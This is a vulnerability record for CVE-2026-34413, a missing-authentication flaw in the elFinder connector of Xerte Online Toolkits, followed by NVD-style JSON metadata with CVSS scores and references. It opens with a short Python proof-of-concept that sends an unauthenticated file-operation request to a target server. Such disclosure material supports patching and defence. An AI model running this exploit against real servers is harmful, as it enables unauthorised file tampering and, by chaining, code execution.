CVE-2026-34413

#!/usr/bin/env python3 import requests def exploit(target_url): # The vulnerable endpoint url = f"{target_url}/editor/elfinder/php/connector.php" # Payload to create a directory (demonstrating bypass) data = { "cmd": "mkdir", "name": "test_exploit_dir", "target": "l1_Lw" # Base64 encoded path usually representing root } try: print(f"[+] Sending request to {url}...") response = requests.post(url, data=data, timeout=10) if response.status_code == 200 and "test_exploit_dir" in response.text: print("[+] Exploit successful! Authentication bypassed and directory created.") else: print("[-] Exploit failed or target not vulnerable.") print(response.text[:200]) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") else: exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-34413", "sourceIdentifier": "[email protected]", "published": "2026-04-22T19:17:02.710", "lastModified": "2026-04-24T20:16:25.047", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xerte Online Toolkits versions 3.15 and earlier contain a missing authentication vulnerability in the elFinder connector endpoint at /editor/elfinder/php/connector.php where an HTTP redirect to unauthenticated callers does not call exit() or die(), allowing PHP execution to continue and process the full request server-side. Unauthenticated attackers can perform file operations on project media directories including creating directories, uploading files, renaming files, duplicating files, overwriting files, and deleting files, which can be chained with path traversal and extension blocklist vulnerabilities to achieve remote code execution and arbitrary file read."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://github.com/bootstrapbool/xerteonlinetoolkits-rce", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/02661be88cc369325ea01b508086bde7fbfec805", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/17e4f945fe6a3400fa88c01eda18c1075ee4a212", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/507d55c5e91bf9310b5b1c7fad8aebfef902ad23", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php", "source": "[email protected]"}, {"url": "https://xerte.org.uk/index.php/en/downloads-1/category/3-xerte-online-toolkits", "source": "[email protected]"}, {"url": "https://xerte.org.uk/xertetoolkits_3.15_ChangeLog.html", "source": "[email protected]"}]}}